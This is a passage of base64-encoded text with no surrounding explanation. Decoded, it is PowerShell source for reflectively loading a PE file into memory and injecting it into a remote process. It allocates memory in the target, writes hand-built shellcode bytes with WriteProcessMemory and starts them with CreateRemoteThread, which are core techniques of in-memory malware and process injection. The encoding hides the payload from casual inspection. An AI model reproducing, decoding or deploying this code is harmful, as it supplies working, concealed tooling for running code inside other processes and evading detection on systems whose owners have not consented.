dmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRPcmRpbmFsUHRyLCBbVHlwZV1bVUludDE2 XSkKCQkJCSRGdW5jT2Zmc2V0QWRkciA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkUEVIYW5k bGUpICgkRXhwb3J0VGFibGUuQWRkcmVzc09mRnVuY3Rpb25zICsgKCRGdW5jSW5kZXggKiBbU3lz dGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoW1R5cGVdW1VJbnQz Ml0pKSkKCQkJCSRGdW5jT2Zmc2V0ID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5N YXJzaGFsXTo6UHRyVG9TdHJ1Y3R1cmUoJEZ1bmNPZmZzZXRBZGRyLCBbVHlwZV1bVUludDMyXSkK CQkJCXJldHVybiBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoJFBFSGFuZGxlKSAoJEZ1bmNPZmZz ZXQpCgkJCX0KCQl9CgkJCgkJcmV0dXJuIFtJbnRQdHJdOjpaZXJvCgl9CgoKCUZ1bmN0aW9uIElu dm9rZS1NZW1vcnlMb2FkTGlicmFyeQoJewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoIFBvc2l0aW9u ID0gMCwgTWFuZGF0b3J5ID0gJHRydWUgKV0KCQlbQnl0ZVtdXQoJCSRQRUJ5dGVzLAoJCQoJCVtQ YXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkZmFsc2UpXQoJCVtTdHJpbmddCgkJ JEV4ZUFyZ3MsCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDIsIE1hbmRhdG9yeSA9ICRmYWxz ZSldCgkJW0ludFB0cl0KCQkkUmVtb3RlUHJvY0hhbmRsZQoJCSkKCQkKCQkkUHRyU2l6ZSA9IFtT eXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV1bSW50 UHRyXSkKCQkKCgkJJFdpbjMyQ29uc3RhbnRzID0gR2V0LVdpbjMyQ29uc3RhbnRzCgkJJFdpbjMy RnVuY3Rpb25zID0gR2V0LVdpbjMyRnVuY3Rpb25zCgkJJFdpbjMyVHlwZXMgPSBHZXQtV2luMzJU eXBlcwoJCQoJCSRSZW1vdGVMb2FkaW5nID0gJGZhbHNlCgkJaWYgKCgkUmVtb3RlUHJvY0hhbmRs ZSAtbmUgJG51bGwpIC1hbmQgKCRSZW1vdGVQcm9jSGFuZGxlIC1uZSBbSW50UHRyXTo6WmVybykp CgkJewoJCQkkUmVtb3RlTG9hZGluZyA9ICR0cnVlCgkJfQoJCQoKCQlXcml0ZS1WZXJib3NlICJH ZXR0aW5nIGJhc2ljIFBFIGluZm9ybWF0aW9uIGZyb20gdGhlIGZpbGUiCgkJJFBFSW5mbyA9IEdl dC1QRUJhc2ljSW5mbyAtUEVCeXRlcyAkUEVCeXRlcyAtV2luMzJUeXBlcyAkV2luMzJUeXBlcwoJ CSRPcmlnaW5hbEltYWdlQmFzZSA9ICRQRUluZm8uT3JpZ2luYWxJbWFnZUJhc2UKCQkkTlhDb21w YXRpYmxlID0gJHRydWUKCQlpZiAoKFtJbnRdICRQRUluZm8uRGxsQ2hhcmFjdGVyaXN0aWNzIC1i YW5kICRXaW4zMkNvbnN0YW50cy5JTUFHRV9ETExDSEFSQUNURVJJU1RJQ1NfTlhfQ09NUEFUKSAt bmUgJFdpbjMyQ29uc3RhbnRzLklNQUdFX0RMTENIQVJBQ1RFUklTVElDU19OWF9DT01QQVQpCgkJ ewoJCQlXcml0ZS1XYXJuaW5nICJQRSBpcyBub3QgY29tcGF0aWJsZSB3aXRoIERFUCwgbWlnaHQg Y2F1c2UgaXNzdWVzIiAtV2FybmluZ0FjdGlvbiBDb250aW51ZQoJCQkkTlhDb21wYXRpYmxlID0g JGZhbHNlCgkJfQoJCQoJCQoKCQkkUHJvY2VzczY0Qml0ID0gJHRydWUKCQlpZiAoJFJlbW90ZUxv YWRpbmcgLWVxICR0cnVlKQoJCXsKCQkJJEtlcm5lbDMySGFuZGxlID0gJFdpbjMyRnVuY3Rpb25z LkdldE1vZHVsZUhhbmRsZS5JbnZva2UoImtlcm5lbDMyLmRsbCIpCgkJCSRSZXN1bHQgPSAkV2lu MzJGdW5jdGlvbnMuR2V0UHJvY0FkZHJlc3MuSW52b2tlKCRLZXJuZWwzMkhhbmRsZSwgIklzV293 NjRQcm9jZXNzIikKCQkJaWYgKCRSZXN1bHQgLWVxIFtJbnRQdHJdOjpaZXJvKQoJCQl7CgkJCQlU aHJvdyAiQ291bGRuJ3QgbG9jYXRlIElzV293NjRQcm9jZXNzIGZ1bmN0aW9uIHRvIGRldGVybWlu ZSBpZiB0YXJnZXQgcHJvY2VzcyBpcyAzMmJpdCBvciA2NGJpdCIKCQkJfQoJCQkKCQkJW0Jvb2xd JFdvdzY0UHJvY2VzcyA9ICRmYWxzZQoJCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5Jc1dv dzY0UHJvY2Vzcy5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsIFtSZWZdJFdvdzY0UHJvY2VzcykK CQkJaWYgKCRTdWNjZXNzIC1lcSAkZmFsc2UpCgkJCXsKCQkJCVRocm93ICJDYWxsIHRvIElzV293 NjRQcm9jZXNzIGZhaWxlZCIKCQkJfQoJCQkKCQkJaWYgKCgkV293NjRQcm9jZXNzIC1lcSAkdHJ1 ZSkgLW9yICgoJFdvdzY0UHJvY2VzcyAtZXEgJGZhbHNlKSAtYW5kIChbU3lzdGVtLlJ1bnRpbWUu SW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoW1R5cGVdW0ludFB0cl0pIC1lcSA0KSkp CgkJCXsKCQkJCSRQcm9jZXNzNjRCaXQgPSAkZmFsc2UKCQkJfQoJCQkKCgkJCSRQb3dlclNoZWxs NjRCaXQgPSAkdHJ1ZQoJCQlpZiAoW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJz aGFsXTo6U2l6ZU9mKFtUeXBlXVtJbnRQdHJdKSAtbmUgOCkKCQkJewoJCQkJJFBvd2VyU2hlbGw2 NEJpdCA9ICRmYWxzZQoJCQl9CgkJCWlmICgkUG93ZXJTaGVsbDY0Qml0IC1uZSAkUHJvY2VzczY0 Qml0KQoJCQl7CgkJCQl0aHJvdyAiUG93ZXJTaGVsbCBtdXN0IGJlIHNhbWUgYXJjaGl0ZWN0dXJl ICh4ODYveDY0KSBhcyBQRSBiZWluZyBsb2FkZWQgYW5kIHJlbW90ZSBwcm9jZXNzIgoJCQl9CgkJ fQoJCWVsc2UKCQl7CgkJCWlmIChbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNo YWxdOjpTaXplT2YoW1R5cGVdW0ludFB0cl0pIC1uZSA4KQoJCQl7CgkJCQkkUHJvY2VzczY0Qml0 ID0gJGZhbHNlCgkJCX0KCQl9CgkJaWYgKCRQcm9jZXNzNjRCaXQgLW5lICRQRUluZm8uUEU2NEJp dCkKCQl7CgkJCVRocm93ICJQRSBwbGF0Zm9ybSBkb2Vzbid0IG1hdGNoIHRoZSBhcmNoaXRlY3R1 cmUgb2YgdGhlIHByb2Nlc3MgaXQgaXMgYmVpbmcgbG9hZGVkIGluICgzMi82NGJpdCkiCgkJfQoJ CQoKCgkJV3JpdGUtVmVyYm9zZSAiQWxsb2NhdGluZyBtZW1vcnkgZm9yIHRoZSBQRSBhbmQgd3Jp dGUgaXRzIGhlYWRlcnMgdG8gbWVtb3J5IgoJCQoJCVtJbnRQdHJdJExvYWRBZGRyID0gW0ludFB0 cl06Olplcm8KCQlpZiAoKFtJbnRdICRQRUluZm8uRGxsQ2hhcmFjdGVyaXN0aWNzIC1iYW5kICRX aW4zMkNvbnN0YW50cy5JTUFHRV9ETExDSEFSQUNURVJJU1RJQ1NfRFlOQU1JQ19CQVNFKSAtbmUg JFdpbjMyQ29uc3RhbnRzLklNQUdFX0RMTENIQVJBQ1RFUklTVElDU19EWU5BTUlDX0JBU0UpCgkJ ewoJCQlXcml0ZS1XYXJuaW5nICJQRSBmaWxlIGJlaW5nIHJlZmxlY3RpdmVseSBsb2FkZWQgaXMg bm90IEFTTFIgY29tcGF0aWJsZS4gSWYgdGhlIGxvYWRpbmcgZmFpbHMsIHRyeSByZXN0YXJ0aW5n IFBvd2VyU2hlbGwgYW5kIHRyeWluZyBhZ2FpbiIgLVdhcm5pbmdBY3Rpb24gQ29udGludWUKCQkJ W0ludFB0cl0kTG9hZEFkZHIgPSAkT3JpZ2luYWxJbWFnZUJhc2UKCQl9CgoJCSRQRUhhbmRsZSA9 IFtJbnRQdHJdOjpaZXJvCQkJCSNUaGlzIGlzIHdoZXJlIHRoZSBQRSBpcyBhbGxvY2F0ZWQgaW4g UG93ZXJTaGVsbAoJCSRFZmZlY3RpdmVQRUhhbmRsZSA9IFtJbnRQdHJdOjpaZXJvCQkjVGhpcyBp cyB0aGUgYWRkcmVzcyB0aGUgUEUgd2lsbCBiZSBsb2FkZWQgdG8uIElmIGl0IGlzIGxvYWRlZCBp biBQb3dlclNoZWxsLCB0aGlzIGVxdWFscyAkUEVIYW5kbGUuIElmIGl0IGlzIGxvYWRlZCBpbiBh IHJlbW90ZSBwcm9jZXNzLCB0aGlzIGlzIHRoZSBhZGRyZXNzIGluIHRoZSByZW1vdGUgcHJvY2Vz cy4KCQlpZiAoJFJlbW90ZUxvYWRpbmcgLWVxICR0cnVlKQoJCXsKCgkJCSRQRUhhbmRsZSA9ICRX aW4zMkZ1bmN0aW9ucy5WaXJ0dWFsQWxsb2MuSW52b2tlKFtJbnRQdHJdOjpaZXJvLCBbVUludFB0 cl0kUEVJbmZvLlNpemVPZkltYWdlLCAkV2luMzJDb25zdGFudHMuTUVNX0NPTU1JVCAtYm9yICRX aW4zMkNvbnN0YW50cy5NRU1fUkVTRVJWRSwgJFdpbjMyQ29uc3RhbnRzLlBBR0VfUkVBRFdSSVRF KQoJCQkKCgkJCSRFZmZlY3RpdmVQRUhhbmRsZSA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsQWxs b2NFeC5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsICRMb2FkQWRkciwgW1VJbnRQdHJdJFBFSW5m by5TaXplT2ZJbWFnZSwgJFdpbjMyQ29uc3RhbnRzLk1FTV9DT01NSVQgLWJvciAkV2luMzJDb25z dGFudHMuTUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50cy5QQUdFX0VYRUNVVEVfUkVBRFdSSVRF KQoJCQlpZiAoJEVmZmVjdGl2ZVBFSGFuZGxlIC1lcSBbSW50UHRyXTo6WmVybykKCQkJewoJCQkJ VGhyb3cgIlVuYWJsZSB0byBhbGxvY2F0ZSBtZW1vcnkgaW4gdGhlIHJlbW90ZSBwcm9jZXNzLiBJ ZiB0aGUgUEUgYmVpbmcgbG9hZGVkIGRvZXNuJ3Qgc3VwcG9ydCBBU0xSLCBpdCBjb3VsZCBiZSB0 aGF0IHRoZSByZXF1ZXN0ZWQgYmFzZSBhZGRyZXNzIG9mIHRoZSBQRSBpcyBhbHJlYWR5IGluIHVz ZSIKCQkJfQoJCX0KCQllbHNlCgkJewoJCQlpZiAoJE5YQ29tcGF0aWJsZSAtZXEgJHRydWUpCgkJ CXsKCQkJCSRQRUhhbmRsZSA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsQWxsb2MuSW52b2tlKCRM b2FkQWRkciwgW1VJbnRQdHJdJFBFSW5mby5TaXplT2ZJbWFnZSwgJFdpbjMyQ29uc3RhbnRzLk1F TV9DT01NSVQgLWJvciAkV2luMzJDb25zdGFudHMuTUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50 cy5QQUdFX1JFQURXUklURSkKCQkJfQoJCQllbHNlCgkJCXsKCQkJCSRQRUhhbmRsZSA9ICRXaW4z MkZ1bmN0aW9ucy5WaXJ0dWFsQWxsb2MuSW52b2tlKCRMb2FkQWRkciwgW1VJbnRQdHJdJFBFSW5m by5TaXplT2ZJbWFnZSwgJFdpbjMyQ29uc3RhbnRzLk1FTV9DT01NSVQgLWJvciAkV2luMzJDb25z dGFudHMuTUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50cy5QQUdFX0VYRUNVVEVfUkVBRFdSSVRF KQoJCQl9CgkJCSRFZmZlY3RpdmVQRUhhbmRsZSA9ICRQRUhhbmRsZQoJCX0KCQkKCQlbSW50UHRy XSRQRUVuZEFkZHJlc3MgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoJFBFSGFuZGxlKSAoW0lu dDY0XSRQRUluZm8uU2l6ZU9mSW1hZ2UpCgkJaWYgKCRQRUhhbmRsZSAtZXEgW0ludFB0cl06Olpl cm8pCgkJeyAKCQkJVGhyb3cgIlZpcnR1YWxBbGxvYyBmYWlsZWQgdG8gYWxsb2NhdGUgbWVtb3J5 IGZvciBQRS4gSWYgUEUgaXMgbm90IEFTTFIgY29tcGF0aWJsZSwgdHJ5IHJ1bm5pbmcgdGhlIHNj cmlwdCBpbiBhIG5ldyBQb3dlclNoZWxsIHByb2Nlc3MgKHRoZSBuZXcgUG93ZXJTaGVsbCBwcm9j ZXNzIHdpbGwgaGF2ZSBhIGRpZmZlcmVudCBtZW1vcnkgbGF5b3V0LCBzbyB0aGUgYWRkcmVzcyB0 aGUgUEUgd2FudHMgbWlnaHQgYmUgZnJlZSkuIgoJCX0JCQoJCVtTeXN0ZW0uUnVudGltZS5JbnRl cm9wU2VydmljZXMuTWFyc2hhbF06OkNvcHkoJFBFQnl0ZXMsIDAsICRQRUhhbmRsZSwgJFBFSW5m by5TaXplT2ZIZWFkZXJzKSB8IE91dC1OdWxsCgkJCgkJCgoJCVdyaXRlLVZlcmJvc2UgIkdldHRp bmcgZGV0YWlsZWQgUEUgaW5mb3JtYXRpb24gZnJvbSB0aGUgaGVhZGVycyBsb2FkZWQgaW4gbWVt b3J5IgoJCSRQRUluZm8gPSBHZXQtUEVEZXRhaWxlZEluZm8gLVBFSGFuZGxlICRQRUhhbmRsZSAt V2luMzJUeXBlcyAkV2luMzJUeXBlcyAtV2luMzJDb25zdGFudHMgJFdpbjMyQ29uc3RhbnRzCgkJ JFBFSW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIEVuZEFk ZHJlc3MgLVZhbHVlICRQRUVuZEFkZHJlc3MKCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVy VHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgRWZmZWN0aXZlUEVIYW5kbGUgLVZhbHVlICRFZmZlY3Rp dmVQRUhhbmRsZQoJCVdyaXRlLVZlcmJvc2UgIlN0YXJ0QWRkcmVzczogJFBFSGFuZGxlICAgIEVu ZEFkZHJlc3M6ICRQRUVuZEFkZHJlc3MiCgkJCgkJCgoJCVdyaXRlLVZlcmJvc2UgIkNvcHkgUEUg c2VjdGlvbnMgaW4gdG8gbWVtb3J5IgoJCUNvcHktU2VjdGlvbnMgLVBFQnl0ZXMgJFBFQnl0ZXMg LVBFSW5mbyAkUEVJbmZvIC1XaW4zMkZ1bmN0aW9ucyAkV2luMzJGdW5jdGlvbnMgLVdpbjMyVHlw ZXMgJFdpbjMyVHlwZXMKCQkKCQkKCgkJV3JpdGUtVmVyYm9zZSAiVXBkYXRlIG1lbW9yeSBhZGRy ZXNzZXMgYmFzZWQgb24gd2hlcmUgdGhlIFBFIHdhcyBhY3R1YWxseSBsb2FkZWQgaW4gbWVtb3J5 IgoJCVVwZGF0ZS1NZW1vcnlBZGRyZXNzZXMgLVBFSW5mbyAkUEVJbmZvIC1PcmlnaW5hbEltYWdl QmFzZSAkT3JpZ2luYWxJbWFnZUJhc2UgLVdpbjMyQ29uc3RhbnRzICRXaW4zMkNvbnN0YW50cyAt V2luMzJUeXBlcyAkV2luMzJUeXBlcwoKCQkKCgkJV3JpdGUtVmVyYm9zZSAiSW1wb3J0IERMTCdz IG5lZWRlZCBieSB0aGUgUEUgd2UgYXJlIGxvYWRpbmciCgkJaWYgKCRSZW1vdGVMb2FkaW5nIC1l cSAkdHJ1ZSkKCQl7CgkJCUltcG9ydC1EbGxJbXBvcnRzIC1QRUluZm8gJFBFSW5mbyAtV2luMzJG dW5jdGlvbnMgJFdpbjMyRnVuY3Rpb25zIC1XaW4zMlR5cGVzICRXaW4zMlR5cGVzIC1XaW4zMkNv bnN0YW50cyAkV2luMzJDb25zdGFudHMgLVJlbW90ZVByb2NIYW5kbGUgJFJlbW90ZVByb2NIYW5k bGUKCQl9CgkJZWxzZQoJCXsKCQkJSW1wb3J0LURsbEltcG9ydHMgLVBFSW5mbyAkUEVJbmZvIC1X aW4zMkZ1bmN0aW9ucyAkV2luMzJGdW5jdGlvbnMgLVdpbjMyVHlwZXMgJFdpbjMyVHlwZXMgLVdp bjMyQ29uc3RhbnRzICRXaW4zMkNvbnN0YW50cwoJCX0KCQkKCQkKCgkJaWYgKCRSZW1vdGVMb2Fk aW5nIC1lcSAkZmFsc2UpCgkJewoJCQlpZiAoJE5YQ29tcGF0aWJsZSAtZXEgJHRydWUpCgkJCXsK CQkJCVdyaXRlLVZlcmJvc2UgIlVwZGF0ZSBtZW1vcnkgcHJvdGVjdGlvbiBmbGFncyIKCQkJCVVw ZGF0ZS1NZW1vcnlQcm90ZWN0aW9uRmxhZ3MgLVBFSW5mbyAkUEVJbmZvIC1XaW4zMkZ1bmN0aW9u cyAkV2luMzJGdW5jdGlvbnMgLVdpbjMyQ29uc3RhbnRzICRXaW4zMkNvbnN0YW50cyAtV2luMzJU eXBlcyAkV2luMzJUeXBlcwoJCQl9CgkJCWVsc2UKCQkJewoJCQkJV3JpdGUtVmVyYm9zZSAiUEUg YmVpbmcgcmVmbGVjdGl2ZWx5IGxvYWRlZCBpcyBub3QgY29tcGF0aWJsZSB3aXRoIE5YIG1lbW9y eSwga2VlcGluZyBtZW1vcnkgYXMgcmVhZCB3cml0ZSBleGVjdXRlIgoJCQl9CgkJfQoJCWVsc2UK CQl7CgkJCVdyaXRlLVZlcmJvc2UgIlBFIGJlaW5nIGxvYWRlZCBpbiB0byBhIHJlbW90ZSBwcm9j ZXNzLCBub3QgYWRqdXN0aW5nIG1lbW9yeSBwZXJtaXNzaW9ucyIKCQl9CgkJCgkJCgoJCWlmICgk UmVtb3RlTG9hZGluZyAtZXEgJHRydWUpCgkJewoJCQlbVUludDMyXSROdW1CeXRlc1dyaXR0ZW4g PSAwCgkJCSRTdWNjZXNzID0gJFdpbjMyRnVuY3Rpb25zLldyaXRlUHJvY2Vzc01lbW9yeS5JbnZv a2UoJFJlbW90ZVByb2NIYW5kbGUsICRFZmZlY3RpdmVQRUhhbmRsZSwgJFBFSGFuZGxlLCBbVUlu dFB0cl0oJFBFSW5mby5TaXplT2ZJbWFnZSksIFtSZWZdJE51bUJ5dGVzV3JpdHRlbikKCQkJaWYg KCRTdWNjZXNzIC1lcSAkZmFsc2UpCgkJCXsKCQkJCVRocm93ICJVbmFibGUgdG8gd3JpdGUgc2hl bGxjb2RlIHRvIHJlbW90ZSBwcm9jZXNzIG1lbW9yeS4iCgkJCX0KCQl9CgkJCgkJCgoJCWlmICgk UEVJbmZvLkZpbGVUeXBlIC1pZXEgIkRMTCIpCgkJewoJCQlpZiAoJFJlbW90ZUxvYWRpbmcgLWVx ICRmYWxzZSkKCQkJewoJCQkJV3JpdGUtVmVyYm9zZSAiQ2FsbGluZyBkbGxtYWluIHNvIHRoZSBE TEwga25vd3MgaXQgaGFzIGJlZW4gbG9hZGVkIgoJCQkJJERsbE1haW5QdHIgPSBBZGQtU2lnbmVk SW50QXNVbnNpZ25lZCAoJFBFSW5mby5QRUhhbmRsZSkgKCRQRUluZm8uSU1BR0VfTlRfSEVBREVS Uy5PcHRpb25hbEhlYWRlci5BZGRyZXNzT2ZFbnRyeVBvaW50KQoJCQkJJERsbE1haW5EZWxlZ2F0 ZSA9IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRyXSwgW1VJbnQzMl0sIFtJbnRQdHJdKSAoW0Jv b2xdKQoJCQkJJERsbE1haW4gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNo YWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkRGxsTWFpblB0ciwgJERsbE1haW5E ZWxlZ2F0ZSkKCQkJCQoJCQkJJERsbE1haW4uSW52b2tlKCRQRUluZm8uUEVIYW5kbGUsIDEsIFtJ bnRQdHJdOjpaZXJvKSB8IE91dC1OdWxsCgkJCX0KCQkJZWxzZQoJCQl7CgkJCQkkRGxsTWFpblB0 ciA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkRWZmZWN0aXZlUEVIYW5kbGUpICgkUEVJbmZv LklNQUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuQWRkcmVzc09mRW50cnlQb2ludCkKCQkJ CgkJCQlpZiAoJFBFSW5mby5QRTY0Qml0IC1lcSAkdHJ1ZSkKCQkJCXsKCgkJCQkJJGZ1bmMxMjUg PSBAKDB4NTMsIDB4NDgsIDB4ODksIDB4ZTMsIDB4NjYsIDB4ODMsIDB4ZTQsIDB4MDAsIDB4NDgs IDB4YjkpCgkJCQkJJENhbGxEbGxNYWluU0MyID0gQCgweGJhLCAweDAxLCAweDAwLCAweDAwLCAw eDAwLCAweDQxLCAweGI4LCAweDAwLCAweDAwLCAweDAwLCAweDAwLCAweDQ4LCAweGI4KQoJCQkJ CSRDYWxsRGxsTWFpblNDMyA9IEAoMHhmZiwgMHhkMCwgMHg0OCwgMHg4OSwgMHhkYywgMHg1Yiwg MHhjMykKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCgkJCQkJJGZ1bmMxMjUgPSBAKDB4NTMsIDB4ODks IDB4ZTMsIDB4ODMsIDB4ZTQsIDB4ZjAsIDB4YjkpCgkJCQkJJENhbGxEbGxNYWluU0MyID0gQCgw eGJhLCAweDAxLCAweDAwLCAweDAwLCAweDAwLCAweGI4LCAweDAwLCAweDAwLCAweDAwLCAweDAw LCAweDUwLCAweDUyLCAweDUxLCAweGI4KQoJCQkJCSRDYWxsRGxsTWFpblNDMyA9IEAoMHhmZiwg MHhkMCwgMHg4OSwgMHhkYywgMHg1YiwgMHhjMykKCQkJCX0KCQkJCSRTQ0xlbmd0aCA9ICRmdW5j MTI1Lkxlbmd0aCArICRDYWxsRGxsTWFpblNDMi5MZW5ndGggKyAkQ2FsbERsbE1haW5TQzMuTGVu Z3RoICsgKCRQdHJTaXplICogMikKCQkJCSRTQ1BTTWVtID0gW1N5c3RlbS5SdW50aW1lLkludGVy b3BTZXJ2aWNlcy5NYXJzaGFsXTo6QWxsb2NIR2xvYmFsKCRTQ0xlbmd0aCkKCQkJCSRTQ1BTTWVt T3JpZ2luYWwgPSAkU0NQU01lbQoJCQkJCgkJCQlXcml0ZS1CeXRlc1RvTWVtb3J5IC1CeXRlcyAk ZnVuYzEyNSAtTWVtb3J5QWRkcmVzcyAkU0NQU01lbQoJCQkJJFNDUFNNZW0gPSBBZGQtU2lnbmVk SW50QXNVbnNpZ25lZCAkU0NQU01lbSAoJGZ1bmMxMjUuTGVuZ3RoKQoJCQkJW1N5c3RlbS5SdW50 aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RydWN0dXJlVG9QdHIoJEVmZmVjdGl2ZVBF SGFuZGxlLCAkU0NQU01lbSwgJGZhbHNlKQoJCQkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50QXNV bnNpZ25lZCAkU0NQU01lbSAoJFB0clNpemUpCgkJCQlXcml0ZS1CeXRlc1RvTWVtb3J5IC1CeXRl cyAkQ2FsbERsbE1haW5TQzIgLU1lbW9yeUFkZHJlc3MgJFNDUFNNZW0KCQkJCSRTQ1BTTWVtID0g QWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRDYWxsRGxsTWFpblNDMi5MZW5ndGgp CgkJCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVU b1B0cigkRGxsTWFpblB0ciwgJFNDUFNNZW0sICRmYWxzZSkKCQkJCSRTQ1BTTWVtID0gQWRkLVNp Z25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRQdHJTaXplKQoJCQkJV3JpdGUtQnl0ZXNUb01l bW9yeSAtQnl0ZXMgJENhbGxEbGxNYWluU0MzIC1NZW1vcnlBZGRyZXNzICRTQ1BTTWVtCgkJCQkk U0NQU01lbSA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRTQ1BTTWVtICgkQ2FsbERsbE1haW5T QzMuTGVuZ3RoKQoJCQkJCgkJCQkkUlNDQWRkciA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsQWxs b2NFeC5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsIFtJbnRQdHJdOjpaZXJvLCBbVUludFB0cl1b VUludDY0XSRTQ0xlbmd0aCwgJFdpbjMyQ29uc3RhbnRzLk1FTV9DT01NSVQgLWJvciAkV2luMzJD b25zdGFudHMuTUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50cy5QQUdFX0VYRUNVVEVfUkVBRFdS SVRFKQoJCQkJaWYgKCRSU0NBZGRyIC1lcSBbSW50UHRyXTo6WmVybykKCQkJCXsKCQkJCQlUaHJv dyAiVW5hYmxlIHRvIGFsbG9jYXRlIG1lbW9yeSBpbiB0aGUgcmVtb3RlIHByb2Nlc3MgZm9yIHNo ZWxsY29kZSIKCQkJCX0KCQkJCQoJCQkJJFN1Y2Nlc3MgPSAkV2luMzJGdW5jdGlvbnMuV3JpdGVQ cm9jZXNzTWVtb3J5Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgJFJTQ0FkZHIsICRTQ1BTTWVt T3JpZ2luYWwsIFtVSW50UHRyXVtVSW50NjRdJFNDTGVuZ3RoLCBbUmVmXSROdW1CeXRlc1dyaXR0 ZW4pCgkJCQlpZiAoKCRTdWNjZXNzIC1lcSAkZmFsc2UpIC1vciAoW1VJbnQ2NF0kTnVtQnl0ZXNX cml0dGVuIC1uZSBbVUludDY0XSRTQ0xlbmd0aCkpCgkJCQl7CgkJCQkJVGhyb3cgIlVuYWJsZSB0 byB3cml0ZSBzaGVsbGNvZGUgdG8gcmVtb3RlIHByb2Nlc3MgbWVtb3J5LiIKCQkJCX0KCgkJCQkk UlRocmVhZEhhbmRsZSA9IEludm9rZS1DcmVhdGVSZW1vdGVUaHJlYWQgLVByb2Nlc3NIYW5kbGUg JFJlbW90ZVByb2NIYW5kbGUgLVN0YXJ0QWRkcmVzcyAkUlNDQWRkciAtV2luMzJGdW5jdGlvbnMg JFdpbjMyRnVuY3Rpb25zCgkJCQkkUmVzdWx0ID0gJFdpbjMyRnVuY3Rpb25zLldhaXRGb3JTaW5n bGVPYmplY3QuSW52b2tlKCRSVGhyZWFkSGFuZGxlLCAyMDAwMCkKCQkJCWlmICgkUmVzdWx0IC1u ZSAwKQoJCQkJewoJCQkJCVRocm93ICJDYWxsIHRvIENyZWF0ZVJlbW90ZVRocmVhZCB0byBjYWxs IEdldFByb2NBZGRyZXNzIGZhaWxlZC4iCgkJCQl9CgkJCQkKCQkJCSRXaW4zMkZ1bmN0aW9ucy5W aXJ0dWFsRnJlZUV4Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgJFJTQ0FkZHIsIFtVSW50UHRy XVtVSW50NjRdMCwgJFdpbjMyQ29uc3RhbnRzLk1FTV9SRUxFQVNFKSB8IE91dC1OdWxsCgkJCX0K CQl9CgkJZWxzZWlmICgkUEVJbmZvLkZpbGVUeXBlIC1pZXEgIkVYRSIpCgkJewoKCQkJW0ludFB0 cl0kRXhlRG9uZUJ5dGVQdHIgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNo YWxdOjpBbGxvY0hHbG9iYWwoMSkKCQkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5N YXJzaGFsXTo6V3JpdGVCeXRlKCRFeGVEb25lQnl0ZVB0ciwgMCwgMHgwMCkKCQkJJE92ZXJ3cml0 dGVuTWVtSW5mbyA9IFVwZGF0ZS1FeGVGdW5jdGlvbnMgLVBFSW5mbyAkUEVJbmZvIC1XaW4zMkZ1 bmN0aW9ucyAkV2luMzJGdW5jdGlvbnMgLVdpbjMyQ29uc3RhbnRzICRXaW4zMkNvbnN0YW50cyAt RXhlQXJndW1lbnRzICRFeGVBcmdzIC1FeGVEb25lQnl0ZVB0ciAkRXhlRG9uZUJ5dGVQdHIKCgoK CQkJW0ludFB0cl0kRXhlTWFpblB0ciA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkUEVJbmZv LlBFSGFuZGxlKSAoJFBFSW5mby5JTUFHRV9OVF9IRUFERVJTLk9wdGlvbmFsSGVhZGVyLkFkZHJl c3NPZkVudHJ5UG9pbnQpCgkJCVdyaXRlLVZlcmJvc2UgIkNhbGwgRVhFIE1haW4gZnVuY3Rpb24u IEFkZHJlc3M6ICRFeGVNYWluUHRyLiBDcmVhdGluZyB0aHJlYWQgZm9yIHRoZSBFWEUgdG8gcnVu 